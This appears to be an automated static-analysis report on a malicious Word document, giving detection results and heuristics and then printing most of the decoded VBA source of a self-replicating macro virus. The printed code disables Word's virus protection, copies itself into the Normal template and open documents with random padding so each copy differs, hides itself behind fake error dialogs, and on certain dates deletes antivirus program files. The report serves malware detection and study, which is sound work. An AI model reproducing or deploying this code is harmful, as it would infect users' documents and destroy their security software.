Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6517d5579af9d308…

MALICIOUS

Office (OLE)

67.0 KB Created: 2000-01-06 10:59:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f0d5ed3d62ef30210766dbd126a295fe SHA-1: 3114d920a74c284386111cc8d286c7c53ce1c11a SHA-256: 6517d5579af9d308ca2fb8587cf3f16bb17883951ed65502f3d21580e12df8a8
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing VBA macros, including an Auto_Close macro, which is a common technique for malicious documents. The presence of legacy WordBasic macro virus markers and the critical ClamAV detection further indicate malicious intent. The VBA script appears to be designed to disable macro security warnings and potentially download further payloads, as suggested by the obfuscated code and the use of `WordBasic.DisableAutoMacros`.

Heuristics 6

  • ClamAV: Doc.Trojan.Noswan-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Noswan-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    .VirusProtection = False
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 46272 bytes
SHA-256: d687f48162ab109b0234876405c0cd3a009f995ed0b48fe3b8999c5aae102587
Detection
ClamAV: No threats found
Obfuscation or payload: likely
253 of 391 identifiers look randomly generated (e.g. 'SwDmMrTjKeGeNoFgSgDxIfVzPzRqGwBfCeBhAqIu') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Kefko"
Rem HhUx
Declare Function ShowCursor Lib "USER32" (ByVal fShow As Integer) As Integer
Sub KrRhAe9486()
AiIxCkMqCrSgUsRkQoQlMxCrFjAsRzVlNiEoIrRm = UjGeJpMgTfTuTkFeJwVzEpIfBq & EkOrKlJuMhTeMoSwQgJePeQsSvGwIkFyKxHrGnMwRzPnKkLoLz59177072
On Error Resume Next
Rem LsNlEwMmCrCnQvAtQzFjTvAlUx
IfHqBjJgByUtIkDrBfEtFx = RlCgOlMo & TkKoUfCuGtMv31666045
WordBasic.DisableAutoMacros 0
JyReUmBkEnEnEvJlVfPgNoOy = UgOyCgBmMlSnEmIpTnPs & DuKkCmVjPvOgBjFlIwEoPoEtFlVm68886236
Rem KjKfVtVfNmGpOiGyJyOjMpOmNlJtLtJjDpRqBuKnGiGiUnIiJm
ActiveDocument.ReadOnlyRecommended = False
AqHmSvOuLkSeRiDmNmVrIx = FqDyNzMhNuIzJwUiEhGgMiBmLgEwFyEvJmHjVlMv & JgDkHqAmEwApGeMyDkNlSfOnUvHvGnThRvBvCrJhFlKvAqLrNqLiRgAp19387079
Rem QsMiIjQuDrDwGlLhDlHqPtMqPlRhKlHvMnRuJoUrVpKkCeOsReKiAiNmIkHrIwUf
With Application
IwUhFpMtSiLyRnGnCtPy = RzIsUhKwUfBlRmPvUiJqEqLqTiEwIw & RnRmBvQuPjUmGqEvDkMnBnUvHrIyDgOsEqTyHnIqUjVvTtMtLhLlCmUrFoOv82076720
.EnableCancelKey = wdCancelDisabled
RgTuKmRpHnHjVkCnLwPzOqCvUrCyHjOpTfCkRkCk = RiCsIfVzTfRrGtFjMkPgEvAy & UuNlQsCrEtEuVhDiKuMwAwNiUzKsGtTmKrBgFrUm16395144
.DisplayAlerts = wdAlertsNone
RtEiRpNz = HjMvLyAmEsNyOfDj & OeGiKiCm54115118
End With
OjPhEzNt = LwVySiQeUsKiOmNkAoDpUsDtEgAlJxLjQyLnBiMzFiAnEoGoDt & HmJuKpEiGhSxBnAzCyNxQuJhAwLrHpFqOlIzJzLxMsNwQwDjTqQhSeHxMpSr28648754
With Options
QgMmTkNuSsIeQnOvQoElKoAyCsUkMqLmVj = BkJqBoQuMlUmDyIoAy & QuFtUkHiAnFiDwEtRyEwUlLtHyNsRwAvAuUtJvNlLyFpCrBgHsNxGh39345034
.ConfirmConversions = False
SnDqQyBnFwGmBuShDgIxOrHqPkTyTf = KeLsItQsMxEpVhLrQzQnUoCiJhCuAnPmTtRlCiCiPxCw & OsHjHqUiDwElLnAlRqOvSvNpOyGgEvVv58473332
.VirusProtection = False
QkEkLqEt = RmSg & RrMsBgBkKoCvKoGvSoJhHfPoTjRjVnLrVhByGsNlDzSsEeAlRi17429123
End With
PrVzKqTrJkUfTsKvMyDgOoSfRgUoKoVjTtFtIj = VxDjHyEuHzCqCkAzKmQh & OtUmGjCwReEmOtTfMwVeThTrOwPgFvHyVjQfIlPvDoPlAjUqBnVu26586102
 'This is an improved version of APMRS called SOPS by me :)
LsVyQlGkUeAlEzFwGv = QiCh & LoFjJrEoKwEjDsFeRmBwPzRuUxLwRkJfKw76819184
Randomize
JpCoFpTuEkKzQmHjNxNgNePmOqShFfLj = FuDpJiFyAuOkPr & UvMzGoTnJfErByQjDmEgSmHtIiJsMmJxUlSrToGwKnAfQvUiFrMoQsPm35323076
ActiveLines = Application.VBE.ActiveVBProject.VBComponents("Kefko").CodeModule.CountOfLines
FsVlFjSeAkEvKgFj = EhEnTiOfCrLlDfAxIjDgMgBnNhDmMhSiQuClEyAx & MeNjRsPh40717898
If ActiveLines > 300 Then
DoGeApUyUlVyMhEuOxBgLqMsKz = QwArAk & NvAlLhLeSiUrEoLrBmJsRxJvPfKhNhApGnSvKeCtUjLzUuVpRqDgTrQgOiMm12837166
Rem SoEuIlRhPkRmCsJzGyPzToAoFwCrJq
With Application.VBE.ActiveVBProject.VBComponents("Kefko").CodeModule
IwTkLhCnPzKeApFnRe = OeAtRxUmUlRhTrDqPqRpQxQfPpSyFzSrNrSpKmQtJoEg & Ct55348960
Rem LjBwUzIiNoTiMpUxImPv
For TheLine = 1 To .CountOfLines
PmMhDpOeQwMo = JtSzKlJp & PrFvVrSgAvVeHjDvMlRrVkTmFoTqJpVoEe27356013
If Left(.Lines(TheLine, 1), 3) = "Rem" Then .DeleteLines TheLine
BqFf = TlBm & QpNyBpSf12717072
Next TheLine
Oh = RnQuNwAmFoNzMhRrJgBqQiVt & JzNtVyQlToAfSrNrLkQmGrVnNuHiCuShLp225045
End With
Ko = GhIuEfRfKlIxHzOpTmIwRvSrLrRsIlFrLjNs & IyItVsOtBeAnAfBzGoKkQeViSmEjIxTlCiHgVjCzJp10168487
Else
OzMkUrGuEySv = PnHjIvTxLeEmSfStIfFuCwJwJnNiBhGtHtLfHpKeTsBx & VoBmIzIuReLwIlJx93678844
With Application.VBE.ActiveVBProject.VBComponents("Kefko").CodeModule
QmLuUoMyClKlLyNrGxMnJjSrNlEoQhVqLv = AiCeIf & HqQeBfNiOwHnRjQwPgPsIoBlErCfMjNfIyRuVfGsUn3137847
PolySize = Int(Rnd * 10)
Rem JuEoHwAnUnEeGyIlMlRsGwEpBm
NrGnNfAvGpTsOzNpQpEzLzAq = BmBuSjKjJjEoKfDqOwJiEhRf & KhIhAhTzJeQgTlMzUmAzAwRr5449886
For PolyMorphic = 1 To PolySize
IzInIyGhUyAgGjPlPrHpItLgPgHhVxPfFjOsEr = FpQuExJmJeFxHuSjLrOgQqQvCtIlNq & HfPkAnHmCwDoKzUqEjGhSpNgBhFkMhCyVuCrGeIlJeHzAwBrNiExTk82825466
PolyString = ""
SoQy = FnFl & VlCfDhCiUrAjJwDuKjMhPxCtEqEyQxJxBwKnRjPtTyGyFrGsPrLsAkRyKi51338941
PolyLines = .CountOfLines
CzGz = CkJtFnHrRwHvEwOjKv & FeUnJjSlDvDgAeKgFnCeFnQpOl9436449
RndLine = Int(Rnd * PolyLines) + 1
OgAmRmLoJyJyVgSiGlMlTfUrNwFpMwBi = EpJySpCvBvRfUhPgQvFhSmCgTyIoUs & IuNjAyJf16047418
StringSize = Int(Rnd * 39) + 1
KjUiQfKuFxEtQvPhTr = EtEkSkBx & UuJxMwHzJpUnUlPiGiRt61445109
For SomeString = 1 To StringSize
Oh = RnQuNwAmFoNzMhRrJgBqQiVt & JzNtVyQlToAfSrNrLkQmGrVnNuHiCuShLp225045
PolyString = PolyString & Chr(65 + Int(Rnd * 22)) & Chr(122 - Int(Rnd * 22))
Ko = GhIuEfRfKlIxHzOpTmIwRvSrLrRsIlFrLjNs & IyItVsOtBeAnAfBzGoKkQeViSmEjIxTlCiHgVjCzJp10168487
Next SomeString
OzMkUrGuEySv = PnHjIvTxLeEmSfStIfFuCwJwJnNiBhGtHtLfHpKeTsBx & VoBmIzIuReLwIlJx93678844
.InsertLines RndLine, "Rem " & PolyString
QmLuUoMyClKlLyNrGxMnJjSrNlEoQhVqLv = AiCeIf & HqQeBfNiOwHnRjQwPgPsIoBlErCfMjNfIyRuVfGsUn3137847
Next PolyMorphic
NrGnNfAvGpTsOzNpQpEzLzAq = BmBuSjKjJjEoKfDqOwJiEhRf & KhIhAhTzJeQgTlMzUmAzAwRr5449886
End With
IzInIyGhUyAgGjPlPrHpItLgPgHhVxPfFjOsEr = FpQuExJmJeFxHuSjLrOgQqQvCtIlNq & HfPkAnHmCwDoKzUqEjGhSpNgBhFkMhCyVuCrGeIlJeHzAwBrNiExTk82825466
End If
SoQy = FnFl & VlCfDhCiUrAjJwDuKjMhPxCtEqEyQxJxBwKnRjPtTyGyFrGsPrLsAkRyKi51338941
Rem KgIwTkRpOkBsFmNwTjJsMxFrExOeVsQmTlQeSoCsPn
If Day(Now()) = 19 Then
CzGz = CkJtFnHrRwHvEwOjKv & FeUnJjSlDvDgAeKgFnCeFnQpOl9436449
MsgBox "Neboj, všetko je OK, som tu len ja- KEFKO.", vbOkOnly, "Dr.Virus"
OgAmRmLoJyJyVgSiGlMlTfUrNwFpMwBi = EpJySpCvBvRfUhPgQvFhSmCgTyIoUs & IuNjAyJf16047418
Rem RpGsBzOmLwUiVfHpLkEmFkBkFwOoVtJzOzVwCoFrPwHuPjFxQfCsLz
Application.Username = "Dr.Virus"
KjUiQfKuFxEtQvPhTr = EtEkSkBx & UuJxMwHzJpUnUlPiGiRt61445109
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "Dr.Virus"
Oh = RnQuNwAmFoNzMhRrJgBqQiVt & JzNtVyQlToAfSrNrLkQmGrVnNuHiCuShLp225045
While ShowCursor(False) >= 0
Ew = FmFxEsLyHxQzPiPyUzHiLqChKoVhUhBmOeCrRuOk & VqByRjCxDvLvGfEi71701640
Wend
PwIxFtOoPtVgUfGt = KvAgQoCkJuTjJuVvRz & JuAl89746784
Call NuLtGl302
UfLyMxBpJrUeUsToAgUnNwEeCiEnDm = EmTy & CgAkGjQfOp23239510
End If
HkHtAjSgDfSmHeHpBg = RzSnLoKqSxJnQjPoUpSuQvDtSuFrLkTfRoTyLuGgPhGfFkJlRe & BkTwJfFeFgOqHpLxRzHkEsSeDsRiVoRrPxKgNtSqGqUfTe72834694
End Sub
Sub NuLtGl302()
DtNoNrMtMiTwPuRkIkCeHhJtPlBz = PjBmQr & AvNyByKrBkVhTiDtNmBp69668657
On Error Resume Next
RoRuCjQgRvVoGmIjIjFnBrCiHzJpJjLpTeFmSnMm = BzSfVrSe & ElIoVvBmKhJwFlToIoMlLmTwFuQlRgKkRoTkMsHfJrJw39527537
Kill ("C:\PROGRAMME\MCAFEE\VIRUSSCAN\*.*")
SmIeQySpPfDgTnByOlTlBiHoRfJuCeQyFeRx = AsTmNrOiNeApLkRqAyBk & DzNt11896293
Kill ("C:\PROGRAMME\MCAFEE\VIRUSSCAN95\*.*")
BoThIxNqKkOzSvRwTeUtVpHkCtHoMvBuVhTf = MyLoPsSpOoNsLkTtOoCfAo & TqCgAlTqGxTiGs7168235
Kill ("C:\Programme\Dr Solomon's\Anti-Virus Toolkit\*.*")
IgBgVeJyPg = HqLsSkKwJsAoLoUsNeUh & VrFpHlQwCvVpKvOpJlKoAuVsTkPmHyOrCgFy92187694
Kill ("C:\PROGRAMME\TBAV\TBAV.DAT")
KlRnDuHeRfNnIrTvAhMzIhMwMlIqBrVjAzKgRvNj = PoPq & AhQxDxQmJtLmMlKeShRtItRlKrLgPuRjLhCnSeIfLgEz88759208
Kill ("C:\TBAV\TBAV.DAT")
UhFzLkDxAgPrLoOnKmRhRlBrKfIwFkCgJuNrFwAf = FxJtAkBrCmVhFeUrReFlKhIwEfJmMyRrTtKtHkIlMoPqAlVe & LxBnPxJqFxStTvBpTkBeTvFqPmCuLqTtLmVr40743508
Kill ("C:\Programme\Norton Antivirus\V32scan.dll")
FxHvRlKvNhCtNtSvUq = FlOwKfHeSpRtAeKfEqPxMmEqFfHwDvSfGfLrGi & RnEvKgJpCgBgEyIxTzPyUmClQnCw86484844
Kill ("C:\Programme\Norton Antivirus\Virscan.dat")
IkPeNkBxOwSsLxQhRoFrApNl = HpVpEf & TmNkUpEpSrDhJfQkHlJsMhIxKjVgAfJn2619936
End Sub
Sub Lr2385()
KmUjTjRjMvKmDhFuJjPoAhVpEnHiDvBqGf = Ci & TmSnUoDnKoJwOuLsTjBgUsSfBjQrKvMtOtMlQlPyFeLoQoDy13915792
On Error Resume Next
QtSlDwGsTiFwQqNnIv = KpBeUwFuSvVlDxTwHgCyVhQzViHyKpRq & MwIyPoAgUgChVrVpOhFj65905997
Application.EnableCancelKey = wdCancelDisabled
CuAiVyKkOyPhDtDrCiKhHrDnFjCuVn = RzIrKkJtQyUzFhGuPtSuEkAnPjEsTvJrUiOfAnBsStTt & Cx94781061
With Options
UzNfTeLyBmFpLjRpDuViRkVuCj = VmVlElByVnQh & GjAjKoVpDrEiJuSvHsLkMiPlKzGvDyIiVzKhFuOj28363290
.SaveNormalPrompt = False
EqBzKuExPuDqMkCfGkMnOuGjMlBpFx = EoSoUhQpDuRjJqEkIv & VuEiPgCkFzSpVpMuFpLjSmRrVwFeMkUzHzLwOe96408907
.VirusProtection = False
CkMrHsDmAlDgAoHrGuMmDrIjMvCr = BpHhLiGxKeSpLoJrAmLtCtCyQiKrIvMlLsThPgJgOi & Hv9133145
.ConfirmConversions = False
Rem IpTuFvAoVjLgNzLnRyRjGiIyJwCrCoUoAyVjQiAzRpMkDwJkOoHpDi
Ah = Qh & SwRxGrMuLxJeNwIjNoMhVgMh13128798
End With
UzAwOhSvEs = HxOyJpBpFyFvKvHnRr & AsIyRjDeNjRrQnEh62914276
Application.VBE.ActiveVBProject.VBComponents("Kefko").Export "C:\Kefko.sys"
PwIxFtOoPtVgUfGt = KvAgQoCkJuTjJuVvRz & JuAl89746784
With Dialogs(wdDialogFileSummaryInfo)
UfLyMxBpJrUeUsToAgUnNwEeCiEnDm = EmTy & CgAkGjQfOp23239510
.Author = "Dr.Virus"
HkHtAjSgDfSmHeHpBg = RzSnLoKqSxJnQjPoUpSuQvDtSuFrLkTfRoTyLuGgPhGfFkJlRe & BkTwJfFeFgOqHpLxRzHkEsSeDsRiVoRrPxKgNtSqGqUfTe72834694
.Comments = "WM97.Kefko"
DtNoNrMtMiTwPuRkIkCeHhJtPlBz = PjBmQr & AvNyByKrBkVhTiDtNmBp69668657
.Keywords = "Všetko je OK"
RoRuCjQgRvVoGmIjIjFnBrCiHzJpJjLpTeFmSnMm = BzSfVrSe & ElIoVvBmKhJwFlToIoMlLmTwFuQlRgKkRoTkMsHfJrJw39527537
.Execute
SmIeQySpPfDgTnByOlTlBiHoRfJuCeQyFeRx = AsTmNrOiNeApLkRqAyBk & DzNt11896293
End With
BoThIxNqKkOzSvRwTeUtVpHkCtHoMvBuVhTf = MyLoPsSpOoNsLkTtOoCfAo & TqCgAlTqGxTiGs7168235
For x = 1 To NormalTemplate.VBProject.VBComponents.Count
IgBgVeJyPg = HqLsSkKwJsAoLoUsNeUh & VrFpHlQwCvVpKvOpJlKoAuVsTkPmHyOrCgFy92187694
Rem DzGuQjDxUzErAsKxLeJhOkBhMhRmIuDhUyFsLvLnPsFzQuNxDzKsIeFoQpAsTtAsEhDiMyVw
If NormalTemplate.VBProject.VBComponents(x).Name = "Kefko" Then JpFiEe9508NuLtGl2385 = True
MxFqMfKvIsSlMtRnQq = QjDoQtKwEjQiHiPjEx & EfNsEuVqKhHrByQiRxDvVmVtKoKrSoVqDrOxHoHfLvOzEnLhQwNrBnHsSo7758354
Next x
RxJnBvKmPtOzAyJlIuGqHvJzNuQvDmTx = MwUgJyAkLhBmHnJsDpUnSkPeHuHpCsQs & FhTvEyHoFhGxFlQrDs91348042
For y = 1 To ActiveDocument.VBProject.VBComponents.Count
IvCvLiTpDiGuTjKiGkDpJjSuAh = KiAgDoSyDuBpAmChIpUlLp & NoKtQjDpRyAvNfTiKpQiEnCyIvOtGgSjLk8706922
Rem GuHlIeCnEvVjPzLtVhQgMzMlQxGqNtMuKzFtLl
If ActiveDocument.VBProject.VBComponents(y).Name = "Kefko" Then UzKoSr7662KrRhAe9486 = True
IiRkEfBeElBiHsMjNo = EpJtRkGuGyThPrDpSsRsDzAwJyIoCe & DxEoLr34264641
Next y
Rem FjDhBmVhDpDgJkTxUzHqAlAyOjDmBnPyPeBmFjMgFnUqJvUuSoLzUsDxSxDyFvLq
FqAgQnQrMpBrQmBfVrLqUoOoLpMe = DzAuEsUzNwJgHuNoCeKyJpVmQjLyFyMuFi & JxMwLoMlPfPpUpIeFsRfPuKmSoLxMgLrMgKjUnEp28542150
If JpFiEe9508NuLtGl2385 = True And UzKoSr7662KrRhAe9486 = False Then Set KeMfGm2916NuUwUj302 = ActiveDocument.VBProject
SgRmOnEtFxTrOzAh = DtVkKlIpIo & GtLhPmKnBwCgKyFsQvFnUiGlSoQmHrMtDuDvOpNfIk87454738
If JpFiEe9508NuLtGl2385 = False And UzKoSr7662KrRhAe9486 = True Then Set KeMfGm2916NuUwUj302 = NormalTemplate.VBProject
MxFqMfKvIsSlMtRnQq = QjDoQtKwEjQiHiPjEx & EfNsEuVqKhHrByQiRxDvVmVtKoKrSoVqDrOxHoHfLvOzEnLhQwNrBnHsSo7758354
If JpFiEe9508NuLtGl2385 = True And UzKoSr7662KrRhAe9486 = True Then GoTo Ende_
RxJnBvKmPtOzAyJlIuGqHvJzNuQvDmTx = MwUgJyAkLhBmHnJsDpUnSkPeHuHpCsQs & FhTvEyHoFhGxFlQrDs91348042
KeMfGm2916NuUwUj302.VBComponents.Import "C:\Kefko.sys"
IvCvLiTpDiGuTjKiGkDpJjSuAh = KiAgDoSyDuBpAmChIpUlLp & NoKtQjDpRyAvNfTiKpQiEnCyIvOtGgSjLk8706922
If UzKoSr7662KrRhAe9486 = False Then ActiveDocument.SaveAs (WordBasic.[FileName$]()), FileFormat:=wdFormatDocument
IiRkEfBeElBiHsMjNo = EpJtRkGuGyThPrDpSsRsDzAwJyIoCe & DxEoLr34264641
Rem SwDmMrTjKeGeNoFgSgDxIfVzPzRqGwBfCeBhAqIuPvCtIeMiIqAwKiDtQpBeKzInMrLkVsKsIvRu
If JpFiEe9508NuLtGl2385 = False Then NormalTemplate.Save
FqAgQnQrMpBrQmBfVrLqUoOoLpMe = DzAuEsUzNwJgHuNoCeKyJpVmQjLyFyMuFi & JxMwLoMlPfPpUpIeFsRfPuKmSoLxMgLrMgKjUnEp28542150
SgRmOnEtFxTrOzAh = DtVkKlIpIo & GtLhPmKnBwCgKyFsQvFnUiGlSoQmHrMtDuDvOpNfIk87454738
Ende_:
MxFqMfKvIsSlMtRnQq = QjDoQtKwEjQiHiPjEx & EfNsEuVqKhHrByQiRxDvVmVtKoKrSoVqDrOxHoHfLvOzEnLhQwNrBnHsSo7758354
Rem FiJxLoVnFo
Call KrRhAe9486
RxJnBvKmPtOzAyJlIuGqHvJzNuQvDmTx = MwUgJyAkLhBmHnJsDpUnSkPeHuHpCsQs & FhTvEyHoFhGxFlQrDs91348042
End Sub
Sub AutoClose()
IvCvLiTpDiGuTjKiGkDpJjSuAh = KiAgDoSyDuBpAmChIpUlLp & NoKtQjDpRyAvNfTiKpQiEnCyIvOtGgSjLk8706922
On Error Resume Next
IiRkEfBeElBiHsMjNo = EpJtRkGuGyThPrDpSsRsDzAwJyIoCe & DxEoLr34264641
Call Lr2385
FqAgQnQrMpBrQmBfVrLqUoOoLpMe = DzAuEsUzNwJgHuNoCeKyJpVmQjLyFyMuFi & JxMwLoMlPfPpUpIeFsRfPuKmSoLxMgLrMgKjUnEp28542150
Call KrRhAe9486
SgRmOnEtFxTrOzAh = DtVkKlIpIo & GtLhPmKnBwCgKyFsQvFnUiGlSoQmHrMtDuDvOpNfIk87454738
Rem PrEqHlGiKjVpRwSoQyTuJg
End Sub
Rem RlGtMhIrIoAsVnPtHxOvVmFvNhBpEtLzSnJxFpJqMhOyAeUv
Sub AutoNew()
MxFqMfKvIsSlMtRnQq = QjDoQtKwEjQiHiPjEx & EfNsEuVqKhHrByQiRxDvVmVtKoKrSoVqDrOxHoHfLvOzEnLhQwNrBnHsSo7758354
Rem LqBzBfGkLpIoEoItFwHqNwAxGuTpPqEoSmGpRhKuItNnLiMjBqGx
On Error Resume Next
RxJnBvKmPtOzAyJlIuGqHvJzNuQvDmTx = MwUgJyAkLhBmHnJsDpUnSkPeHuHpCsQs & FhTvEyHoFhGxFlQrDs91348042
Call Lr2385
IvCvLiTpDiGuTjKiGkDpJjSuAh = KiAgDoSyDuBpAmChIpUlLp & NoKtQjDpRyAvNfTiKpQiEnCyIvOtGgSjLk8706922
Call KrRhAe9486
IiRkEfBeElBiHsMjNo = EpJtRkGuGyThPrDpSsRsDzAwJyIoCe & DxEoLr34264641
End Sub
Sub DateiNeu()
FqAgQnQrMpBrQmBfVrLqUoOoLpMe = DzAuEsUzNwJgHuNoCeKyJpVmQjLyFyMuFi & JxMwLoMlPfPpUpIeFsRfPuKmSoLxMgLrMgKjUnEp28542150
On Error Resume Next
SgRmOnEtFxTrOzAh = DtVkKlIpIo & GtLhPmKnBwCgKyFsQvFnUiGlSoQmHrMtDuDvOpNfIk87454738
Dialogs(wdDialogFileNew).Show
MxFqMfKvIsSlMtRnQq = QjDoQtKwEjQiHiPjEx & EfNsEuVqKhHrByQiRxDvVmVtKoKrSoVqDrOxHoHfLvOzEnLhQwNrBnHsSo7758354
Call Lr2385
RxJnBvKmPtOzAyJlIuGqHvJzNuQvDmTx = MwUgJyAkLhBmHnJsDpUnSkPeHuHpCsQs & FhTvEyHoFhGxFlQrDs91348042
Call KrRhAe9486
IvCvLiTpDiGuTjKiGkDpJjSuAh = KiAgDoSyDuBpAmChIpUlLp & NoKtQjDpRyAvNfTiKpQiEnCyIvOtGgSjLk8706922
End Sub
Sub DateiSpeichern()
Rem LsPhLmOvMpApQzHkJwRvAlPvSmSxHiNs
NhJuNxBsVoQgSgVtHw = DsBhNoRyDpGmKeRrUmCfRqNnKyDvCiCe & IqTjPkRwHpRmDeQlItViQxSvQgReCgIqVgChNjMuSlVkRtVpLu20039084
On Error Resume Next
RxBvQmTsUqIi = StNvSeSxJyVqMgCpFr & DxLoUtMfKmAlKoPvAuMyRpNeCjLzKfFkNkPeBhDwQxMlJg9679248
Call Lr2385
Bk = TvPxUsNiSiSpBnOzNgGlEiOmRhGiFkUiFjBtMgMt & KkTvIxIkApAgGyVyCiQsRiPoDeJkQxOpEnHfVwSqIpSwNf78762819
Call KrRhAe9486
Rem Iz
JkHq = MqAyRnLy & Mv87103430
ActiveDocument.Save
Rem ChHhOeLmQkPeTgQlOtIpJoElGhRpJsEgKqJgLoLnUxKgPiRqVjBqPnTuQwVjFhLtUfAi
CsQwEk = TtIl & Py76527430
End Sub
Sub DateiSpeichernUnter()
KpPpDjQjHrQqFwKoPeJtMyLsAuJr = MiRhRuBsTiBsUlOpTlKgIsEnCwTsIiPfSyNs & HlRtKoPvTwCxDoNwRiVyHnLe15365221
On Error Resume Next
Rem DwJhMuJvIzLfIhVsFwOjTkMuAxKmRuPfUmIeAvPyQyQwDwDvDeMkBxMoDpSe
IqIiNhMoSxRlAzBwUsVfIv = JvDvFzRqNeUyAsLnAwUxCiJtOfSfJu & MxUhQhIhOqSyMoIfLuSeNoJwLjAlCkJxHlSpOj83929142
Rem NtFvDvViEzEnApDeFjUzTrKrEmOlGiRwGrIjQlVeBxMqIwPoQoMvFmOvSoCsUjEsOjSpBv
Call Lr2385
LxVmKvAiGfPtGkEj = HkCrMz & PoRmEqCfNsKlGfSq51867123
Call KrRhAe9486
DuOtUiJlQq = InDrGgFvVpOnCjDvVzVvTjPnKuJhLlVsRhNvHyOyTqSkLf & JvQrRzNzJkDzSpCpUqUsNmSwMjLsLkNs18599043
Dialogs(wdDialogFileSaveAs).Show
FfCfBkKvJzJx = PnBqFlVrErAjDlUyEgQrAt & CePsRr25335638
End Sub
Sub DateiDrucken()
HiClGrGpUoSiUpHfGmGhIuEeIgKeFtSo = FlRjMfMjKqFt & GhTfVuGxQmQjEuAwDzAhPxTiDjFuPlVyDgTyPwRxDwUjMx51128420
On Error Resume Next
QrMeIjPgNrFrIgNeOeVtNmNmDkLyRsFgJt = EwSiRrCwIhIoSjTjBjFmUyUuGwVfQpFeQkHhAkIjCl & PqMsSjPkQsFmKlTvRzCj26122944
Call Lr2385
VvVeQfAuQfJzPwKvPfBkGjTpKxNtJnMzUvIsOs = JtUuPpOoQxNvHjRmLfCuCvKjAqTqItUeHzHw & LqGyPvFmJqLgFsEsVvOjGhFkMeIwUfJrNfLxLzUfBhKiFvCwUuUgKkJjMtAx36216203
Call KrRhAe9486
OsAhVrQvHwEgPwDs = LmEyThSlCoDlIoAhTiQyClTgFyPmTn & VhHzGiNeKsVzAfToCzRmRmMuGeTgPyDzSrHvIfIwGhPqLnQhPyIm43395952
Rem AyGlElHlAzAqMySsGzFlTkPeDrLxGnHfEyOiIoOeMeGrLjMiNl
Dialogs(wdDialogFilePrint).Show
VrHgCvIvQlVyPrNyInElGiRr = CfFjDpOjNeRoEzPxPfRkNtSxPrQvIgUgSeJrQoCsVjCjQjLlUk & HrNw63239031
End Sub
Sub ViewCode()
TqFtMl = Cs & OgEgSxJlDvUyVqSgTiTiHzMmElFyNtTjDvKvHvKlVmNqHkUzFvVs31052383
Rem AfMeDhDmIwLmCvBzVnKiUg
MsgBox "Nicht genug Speicher um Anwendung auszuführen", 16, "Microsoft Word"
LkOyDsEtGi = KhRtGkOoEsMoOe & CzAlVgDvRyVzNtOxFlLmKeRrQnAfQtGrSkEvVhLoQkOwQrUj5273480
End Sub
Sub ViewVBCode()
TkCtAlFzKnDy = LzBpUqIpNpAzPsBxTlShQxOsPzOwUoBh & OqIk6138613
MsgBox "Nicht genug Speicher um Anwendung auszuführen", 16, "Microsoft Word"
DwIuTqLtHfDeRoAfPfSj = SyVwMsDmBsRzFkVjOtGhLoMlIeUoTqFhHgLtIe & TsBlNzSyIeHmVjNqBvMzEtQxGtFjClSgBeMiIpHzFyTlQlBnHkDzVhPjPz4309161
Rem LuMoGnVrOuGiQwBfUgVyEvDjToGfPtQj
Rem EhNiKkNrDjGxVvBrMiAgCjFxBqSmDhTgGoRoLk
End Sub
Sub FileTemplates()
AoDlRgIwBh = HeOwLsEjVoCjEjDjAeRn & VxIhSnDsFgQxSiKxKxRxRkUmTmMrJoHgUmTyAvOkOuStQmHxKzIlCoVe41053208
MsgBox "Nicht genug Speicher um Anwendung auszuführen", 16, "Microsoft Word"
FsJpInGkJwOnEeVoTh = UqEgBtSuChHfEo & PgJgUoOeHuQuGrOpAqFeAvUuIlTlNiFpJl87881675
End Sub
Rem BpIvJnPkTmMpUkUnGxIqGpHgHuPwNsSvCsRvAuIpBqDlJfBiOkQyVnTlQfQmJuDnGyPhSr
Sub ToolsMacro()
KsNmTgGwPwJfOjNnMmJyInQzAtNtQjRh = MtElDlBsOhSqDxQqCiIkBjKzQtEh & GmMpSeRgCmOuOmEtTxHtSkKxPtJoAhJiSiNpGtQpHyTnQrRmIyChRv4684231
MsgBox "Nicht genug Speicher um Anwendung auszuführen", 16, "Microsoft Word"
LpBxQkUeTmQvKuThKmTlPeNqTtNjHxUjOq = CtFyCpVvEwIeGgTjVgOvThBiAzVkJmCiDlJjNqDi & RyStDmKhLe32144891
End Sub
Sub FormatStyle()
RtJxCgFtVwUhRoQyLmVyJxTsDjPeVtFhEsHpCm = QrRtMiOeDuNvFgEvLkFjSyKpPmQuRtAfUj & DvEhJeGpTkFjCzDvHeNsOgQkKeDkHwMeAkEwOgVrGgFiQzPrLt37569809
MsgBox "Nicht genug Speicher um Anwendung auszuführen", 16, "Microsoft Word"
